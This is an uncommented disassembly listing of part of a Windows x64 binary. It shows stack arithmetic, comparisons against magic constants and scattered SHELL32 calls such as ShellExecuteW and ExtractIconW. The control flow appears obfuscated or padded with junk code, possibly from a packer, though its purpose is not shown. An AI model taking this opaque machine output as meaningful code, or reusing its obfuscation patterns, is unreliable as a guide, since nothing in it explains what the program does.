cmp dword [rsp + 0x1e5c], 0x47d7315f
je 0x140007b6d
jmp 0x140007bfe
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [rsp + 0xdd]
add eax, ecx
mov byte [rsp + 0xda], al
lea r9, [rsp + 0x3958]
lea r8, [rsp + 0x16800]
lea rdx, [rsp + 0x158c0]
lea rcx, [rsp + 0x3a68]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x1e60], eax
jmp 0x140007bfe
mov rax, qword [rsp + 0x3860]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e8]
add eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3810]
movzx r9d, byte [rax]
movzx r8d, byte [0x1400fd001]
mov rax, qword [rsp + 0x3910]
mov edx, dword [rax]
movzx ecx, word [rsp + 0x7d8]
call fcn.1400e4fb0
nop
movsx eax, word [rsp + 0x740]
movsx ecx, word [rsp + 0x7d8]
sub eax, ecx
mov word [rsp + 0x7dc], ax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fd001]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3868]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0xdd]
mov edx, dword [rsp + 0x1e20]
mov rax, qword [rsp + 0x38e0]
movzx ecx, word [rax]
call fcn.1400e4fb0
nop
jmp 0x140007ce1
mov eax, dword [rsp + 0x1d2c]
mov dword [rsp + 0x1e64], eax
lea rax, [rsp + 0x1e48]
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a38]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd004], ax
mov rax, qword [rsp + 0x38b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3958]
shr rax, cl
mov qword [rsp + 0x3870], rax
mov rax, qword [rsp + 0x3888]
mov rcx, qword [rsp + 0x3818]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x37d8], rax
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
shl eax, cl
movsx ecx, byte [rsp + 0x68]
movsx edx, byte [rsp + 0xda]
or ecx, edx
cmp eax, ecx
jne 0x140007df0
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
add eax, ecx
mov rcx, qword [rsp + 0x3a48]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0xde]
sub ecx, edx
cmp eax, ecx
je 0x140007dcb
mov edx, 4
mov rcx, qword [rsp + 0x3a80]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0x1d38], eax
movzx eax, word [rsp + 0x7e8]
movzx ecx, word [rsp + 0x7e4]
add eax, ecx
mov rcx, qword [rsp + 0x3a30]
mov word [rcx], ax
movsx eax, word [rsp + 0x740]
movsx ecx, word [rsp + 0x644]
and eax, ecx
mov word [rsp + 0x7d8], ax
mov rax, qword [rsp + 0x3858]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x3858]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x38f0]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x1d2c]
mov ecx, dword [rsp + 0x1d2c]
call fcn.1400e4430
nop
lea rax, [rsp + 0xde]
mov qword [rsp + 0x3a88], rax
lea rax, [rsp + 0xdd]
mov qword [rsp + 0x3a90], rax
jmp 0x140007f09
movsx eax, byte [0x1400fd001]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
and eax, ecx
movsx ecx, byte [rsp + 0xda]
movsx edx, byte [rsp + 0x68]
sub ecx, edx
cmp eax, ecx
jge 0x140007f09
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3a30]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x3860]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x140007e8d
movzx eax, word [rsp + 0x7e4]
mov rcx, qword [rsp + 0x3a30]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
mov rax, qword [rsp + 0x3910]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d4c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1e30], eax
jmp 0x140007f09
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
add eax, ecx
mov rcx, qword [rsp + 0x3a48]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x3a88]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jl 0x140007f09
mov r8d, 1
mov rdx, qword [rsp + 0x37e8]
mov rcx, qword [rsp + 0x3a98]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0x3aa0], rax
mov rax, qword [rsp + 0x3868]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x3a90]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x3988]
mov ecx, dword [rax]
call fcn.1400e49a0
nop
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xdd]
shl eax, cl
movsx ecx, byte [rsp + 0xda]
mov dword [rsp + 0x1e68], ecx
movsx edx, byte [rsp + 0x68]
movzx ecx, dl
mov edx, dword [rsp + 0x1e68]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140007ff2
movzx eax, word [rsp + 0x7e8]
mov dword [rsp + 0x1e6c], eax
cmp dword [rsp + 0x1e6c], 0xbb2
je 0x140007f73
cmp dword [rsp + 0x1e6c], 0xe51
je 0x140007fd5
jmp 0x140007ff2
mov rax, qword [rsp + 0x39f0]
mov rcx, qword [rsp + 0x38b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x38d0]
mov qword [rcx], rax
lea rdx, [rsp + 0x3808]
lea rcx, [rsp + 0x68]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0x3aa8], rax
mov rax, qword [rsp + 0x3980]
mov rcx, qword [rsp + 0x38b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x37f0], rax
jmp 0x140007ff2
mov rax, qword [rsp + 0x38f0]
mov ecx, dword [rsp + 0x1dd4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x38d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
add eax, ecx
mov byte [rsp + 0xde], al
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
add eax, ecx
mov byte [rsp + 0xdd], al
movsx eax, word [rsp + 0x7dc]
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x644], ax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3a48]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7d8]
add eax, ecx
mov word [rsp + 0x7dc], ax
mov rax, qword [rsp + 0x38b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x37f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x39f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x38d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3870]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3980]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1e3c]
sub eax, 0x4c
mov dword [rsp + 0x1e3c], eax
mov rax, qword [rsp + 0x3850]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x38f0]
mov qword [rsp + 0x3ab0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3ab0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1d28], eax
mov eax, dword [rsp + 0x1e30]
mov dword [rsp + 0x1e20], eax
movsx eax, word [0x1400fd004]
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x7dc], ax
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x7e8], ax
movsx eax, byte [rsp + 0xdd]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x68], al
movzx eax, byte [rsp + 0xde]
mov rcx, qword [rsp + 0x3a48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e4]
add eax, ecx
mov word [rsp + 0x7d4], ax
mov rax, qword [rsp + 0x38b8]
mov rcx, qword [rsp + 0x38d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3958], rax
mov eax, dword [rsp + 0x1d4c]
mov ecx, dword [rsp + 0x1e48]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1d2c]
mov ecx, dword [rsp + 0x1d38]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x38d8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x7e8]
movzx ecx, word [rsp + 0x7e0]
add eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [0x1400fd001]
sub eax, ecx
mov byte [rsp + 0xda], al
movzx eax, byte [rsp + 0xdc]
movzx ecx, byte [rsp + 0xdb]
and eax, ecx
mov byte [rsp + 0xde], al
movsx eax, word [rsp + 0x7dc]
mov rcx, qword [rsp + 0x3a38]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3920]
mov word [rcx], ax
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e4]
shl eax, cl
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
movzx eax, word [rsp + 0x7e0]
movzx ecx, word [rsp + 0x7e4]
or eax, ecx
mov word [rsp + 0x7e8], ax
mov rax, qword [rsp + 0x3910]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1d48]
shr eax, cl
mov rcx, qword [rsp + 0x3988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3a48]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [section..data], al
mov eax, dword [rsp + 0x1d38]
mov dword [rsp + 0x1dd4], eax
mov rax, qword [rsp + 0x38b8]
mov rax, qword [rax]
mov rcx, qword [0x1400fdf40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3870], rax
movsx eax, word [rsp + 0x644]
movsx ecx, word [rsp + 0x740]
and eax, ecx
mov rcx, qword [rsp + 0x38e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov rcx, qword [rsp + 0x3a90]
mov byte [rcx], al
cmp dword [rsp + 0x1e3c], 0x75d2
ja 0x140007ff2
mov rax, qword [rsp + 0x3a48]
movzx eax, byte [rax]
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x39f0]
mov rax, qword [rax]
mov qword [rsp + 0x3ab8], rax
cmp qword [rsp + 0x3ab8], 0
je 0x1400083ac
movabs rax, 0x931e7c0b72a0c95f
cmp qword [rsp + 0x3ab8], rax
je 0x14000853d
jmp 0x14000855a
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x3a48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdc], al
mov dword [rsp + 0x1e70], 0x6925
movzx eax, byte [rsp + 0xda]
mov byte [rsp + 0xe0], al
movzx eax, byte [rsp + 0xdd]
mov byte [rsp + 0x1e74], al
cmp byte [rsp + 0x1e74], 0
je 0x140008400
jmp 0x140008517
mov rax, qword [rsp + 0x38f0]
mov eax, dword [rax]
mov dword [rsp + 0x1e78], eax
cmp dword [rsp + 0x1e78], 0
je 0x140008420
jmp 0x1400084e8
movzx eax, byte [rsp + 0xdc]
mov byte [rsp + 0x1e7c], al
cmp byte [rsp + 0x1e7c], 0
je 0x140008448
cmp byte [rsp + 0x1e7c], 0xe0
je 0x1400084a3
jmp 0x1400084e6
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x3910]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1e20], eax
lea rax, [rsp + 0x68]
mov qword [0x1400fdf48], rax
mov rax, qword [rsp + 0x38d8]
mov rcx, qword [rsp + 0x3850]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
mov rax, qword [rsp + 0x37d8]
mov qword [rsp + 0x3ac0], rax
jmp 0x1400084e6
mov dword [rsp + 0x28], 0x6b
mov rax, qword [rsp + 0x3ac8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x3998]
mov r8, qword [rsp + 0x37e8]
mov rdx, qword [rsp + 0x39a0]
mov rcx, qword [rsp + 0x3ad0]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0x3ad8], rax
jmp 0x140008515
movzx r9d, byte [rsp + 0xdd]
mov rax, qword [rsp + 0x3810]
movzx r8d, byte [rax]
mov edx, dword [rsp + 0x1e48]
mov rax, qword [rsp + 0x3920]
movzx ecx, word [rax]
call fcn.1400e4fb0
nop
jmp 0x14000853b
mov rax, qword [rsp + 0x38d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3870]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38b8]
mov qword [rcx], rax
jmp 0x14000855a
movsx eax, word [rsp + 0x7d8]
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7dc], ax
mov rax, qword [0x1400fdf40]
mov qword [rsp + 0x3ae0], rax
cmp qword [rsp + 0x3ae0], 0
je 0x140008591
movabs rax, 0x3bd247f932146d79
cmp qword [rsp + 0x3ae0], rax
je 0x14000867d
jmp 0x140008728
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a38]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7d8], ax
movzx eax, word [rsp + 0x7d4]
mov dword [rsp + 0x1e80], eax
cmp dword [rsp + 0x1e80], 0
je 0x1400085dc
cmp dword [rsp + 0x1e80], 0x72b
je 0x14000864d
jmp 0x140008678
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
mov byte [rsp + 0x1e84], al
cmp byte [rsp + 0x1e84], 0xb6
je 0x1400085fa
jmp 0x14000864b
mov ecx, 0xa2
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x1e2c], eax
movzx eax, byte [rsp + 0xdc]
mov rcx, qword [rsp + 0x3a48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x39c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x7d4], ax
jmp 0x140008678
movzx r9d, word [rsp + 0x7e4]
movzx r8d, word [rsp + 0x7d4]
movzx edx, byte [rsp + 0xdc]
mov rax, qword [rsp + 0x3810]
movzx ecx, byte [rax]
call fcn.1400e4f60
nop
jmp 0x140008728
lea rcx, [rsp + 0x3838]
call qword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [rsp + 0x1e30], eax
mov rax, qword [rsp + 0x3908]
mov qword [rsp + 0x3ae8], rax
movabs rax, 0x1f2a0161481aa079
cmp qword [rsp + 0x3ae8], rax
je 0x1400086cc
movabs rax, 0x5b7b5b053988b626
cmp qword [rsp + 0x3ae8], rax
je 0x14000870c
jmp 0x140008728
movzx eax, word [rsp + 0x7e0]
mov rcx, qword [rsp + 0x3a50]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
mov rax, qword [rsp + 0x3810]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x68]
mov ecx, dword [rsp + 0x1e30]
call fcn.1400e49a0
nop
jmp 0x140008728
mov rax, qword [rsp + 0x3a38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x644]
sar eax, cl
mov word [0x1400fd004], ax
mov dword [rsp + 0x1e88], 0xb106
mov rax, qword [rsp + 0x38b8]
mov rax, qword [rax]
mov qword [rsp + 0x3af0], rax
cmp qword [rsp + 0x3af0], 0
je 0x14000876e
movabs rax, 0x681b8e14a2c694a0
cmp qword [rsp + 0x3af0], rax
je 0x1400e2cc7
jmp 0x1400e2d9f
cmp dword [rsp + 0x1da8], 0x4e9f
jb 0x140008b0c
mov rax, qword [rsp + 0x39c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x740]
sub eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov word [rcx], ax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
sub eax, ecx
mov rcx, qword [0x1400fdf48]
mov byte [rcx], al
mov rax, qword [rsp + 0x38f0]
mov rcx, qword [rsp + 0x3850]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1d38], eax
mov eax, dword [rsp + 0x1da8]
sub eax, 0x62
mov dword [rsp + 0x1da8], eax
mov eax, dword [rsp + 0x1d64]
mov ecx, dword [rsp + 0x1d4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3870]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38d0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x7d4]
movzx ecx, word [rsp + 0x7e8]
shl eax, cl
mov word [rsp + 0x7e0], ax
movsx eax, byte [rsp + 0xda]
movsx ecx, byte [rsp + 0x68]
xor eax, ecx
mov byte [rsp + 0xdd], al
mov rax, qword [rsp + 0x3a88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
or eax, ecx
mov byte [rsp + 0xde], al
movsx eax, word [rsp + 0x644]
movsx ecx, word [rsp + 0x7dc]
sar eax, cl
mov rcx, qword [rsp + 0x3920]
mov word [rcx], ax
movzx eax, word [rsp + 0x7e8]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x39c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x39f0]
mov rcx, qword [rsp + 0x38b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3980]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x740]
add eax, ecx
mov word [0x1400fd004], ax
mov rax, qword [rsp + 0x3a88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
and eax, ecx
mov rcx, qword [rsp + 0x3a48]
mov byte [rcx], al
mov eax, dword [rsp + 0x1e48]
mov ecx, dword [rsp + 0x1d4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d48], eax
mov rax, qword [rsp + 0x3a88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x38e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdc], al
movsx eax, word [rsp + 0x7d8]
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x39c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
sub eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
movsx eax, byte [rsp + 0xda]
mov rcx, qword [rsp + 0x3a90]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x39c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x7e4], ax
mov rax, qword [rsp + 0x3a48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3a88]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3980]
mov rcx, qword [rsp + 0x39f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1400fdf40], rax
mov rax, qword [rsp + 0x3870]
movzx ecx, al
mov rax, qword [rsp + 0x3958]
shr rax, cl
mov qword [rsp + 0x37f0], rax
mov rax, qword [rsp + 0x3910]
mov ecx, dword [rsp + 0x1e48]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1d4c], eax
movsx eax, byte [rsp + 0xdd]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x68], al
movsx eax, word [0x1400fd004]
mov rcx, qword [rsp + 0x39c0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3920]
mov word [rcx], ax
movsx eax, byte [rsp + 0xdd]
movsx ecx, byte [rsp + 0x68]
sub eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0xdb]
add eax, ecx
mov byte [rsp + 0xde], al
mov rax, qword [rsp + 0x39c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3a30]
mov word [rcx], ax
mov rax, qword [rsp + 0x3858]
mov ecx, dword [rsp + 0x1d38]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x38f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x37f0]
mov rcx, qword [rsp + 0x3958]
sub rcx, rax
mov rax, rcx
mov qword [0x1400fdf40], rax
jmp 0x14000876e
lea rax, [rsp + 0x37f0]
mov qword [rsp + 0x3af8], rax
mov rax, qword [rsp + 0x3af8]
mov rcx, qword [rsp + 0x38b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x39f0]
mov rdx, qword [rsp + 0x3980]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jbe 0x140008c78
mov rax, qword [rsp + 0x3910]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1e30]
shr eax, cl
mov rcx, qword [rsp + 0x3988]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xdd]
movsx ecx, byte [0x1400fd001]
shl eax, cl
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x3810]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jl 0x140008c2e
mov rax, qword [rsp + 0x3988]
mov eax, dword [rax]
mov dword [rsp + 0x1e8c], eax
cmp dword [rsp + 0x1e8c], 0x5abd5a9
je 0x140008bd5
cmp dword [rsp + 0x1e8c], 0xea0f918c
je 0x140008c0f
jmp 0x140008c2c
lea rcx, [rsp + 0x3930]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x1d7c], eax
mov rax, qword [0x1400fdf48]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x3868]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0x1d4c]
call fcn.1400e49a0
nop
jmp 0x140008c2c
movsx eax, word [rsp + 0x644]
movsx ecx, word [rsp + 0x7d8]
add eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov word [rcx], ax
jmp 0x140008c73
mov rax, qword [rsp + 0x37d8]
imul rax, qword [rsp + 0x3ac0]
mov rcx, qword [rsp + 0x3888]
mov rdx, qword [rsp + 0x3818]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x140008c73
movzx eax, byte [rsp + 0xdc]
movzx ecx, byte [rsp + 0xde]
add eax, ecx
mov byte [rsp + 0xdf], al
jmp 0x140008eab
mov eax, dword [rsp + 0x1e30]
mov ecx, dword [rsp + 0x1e48]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1d4c]
mov edx, dword [rsp + 0x1e20]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x140008e42
movzx eax, word [rsp + 0x7e0]
mov dword [rsp + 0x1e90], eax
cmp dword [rsp + 0x1e90], 0
je 0x140008cd3
cmp dword [rsp + 0x1e90], 0xaa1
je 0x140008e01
jmp 0x140008e40
mov rax, qword [rsp + 0x3af8]
mov rax, qword [rax]
mov qword [rsp + 0x3b00], rax
cmp qword [rsp + 0x3b00], 0
je 0x140008d0e
movabs rax, 0x7d99fb0a164528f4
cmp qword [rsp + 0x3b00], rax
je 0x140008dde
jmp 0x140008dff
mov rax, qword [rsp + 0x3858]
mov ecx, dword [rsp + 0x1d38]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3850]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1d28]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x140008d80
lea r8, [rsp + 0x3aa0]
mov rdx, qword [rsp + 0x3998]
mov rcx, qword [rsp + 0x3b08]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0x3a60], rax
movsx eax, byte [0x1400fd001]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3a90]
mov byte [rcx], al
jmp 0x140008ddc
movsx eax, word [rsp + 0x7d8]
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x39c0]
mov word [rcx], ax
movzx eax, word [rsp + 0x7e8]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7d4], ax
lea rax, [rsp + 0xdc]
mov qword [rsp + 0x3b10], rax
lea rax, [rsp + 0xdc]
mov qword [0x1400fdf50], rax
jmp 0x140008dff
mov rax, qword [rsp + 0x38d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3870]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x37f0], rax
jmp 0x140008e40
lea r9, [rsp + 0x3958]
lea r8, [rsp + 0xdc]
mov edx, 0xdf
mov ecx, 0x45
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
movsx eax, byte [rsp + 0xda]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3a90]
mov byte [rcx], al
jmp 0x140008eab
mov rax, qword [rsp + 0x3908]
mov rcx, qword [rsp + 0x3818]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3888]
mov rdx, qword [rsp + 0x3ac0]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x140008eab
mov rax, qword [rsp + 0x38d8]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x38f0]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x1d28]
mov rax, qword [rsp + 0x3850]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x1dd4]
call fcn.1400e4430
nop
mov rax, qword [rsp + 0x3a10]
mov rcx, qword [rsp + 0x3818]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3908]
mov rdx, qword [rsp + 0x3ac0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x140008fc6
mov eax, dword [rsp + 0x1d28]
mov ecx, dword [rsp + 0x1d38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1dd4], eax
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0x1e94], al
cmp byte [rsp + 0x1e94], 0x64
je 0x140008f22
cmp byte [rsp + 0x1e94], 0x6e
je 0x140008fa9
jmp 0x140008fc6
mov rax, qword [rsp + 0x3988]
mov rcx, qword [rsp + 0x3a78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3988]
mov dword [rcx], eax
mov edx, PathYetAnotherMakeUniqueName
lea rcx, [rsp + 0x3818]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
movzx eax, word [rsp + 0x7e8]
mov rcx, qword [rsp + 0x3a50]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0x3a90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdd], al
movzx edx, word [rsp + 0x7e8]
movzx ecx, word [rsp + 0x7d4]
call fcn.1400e4b00
nop
jmp 0x140008fc6
movsx eax, word [rsp + 0x7dc]
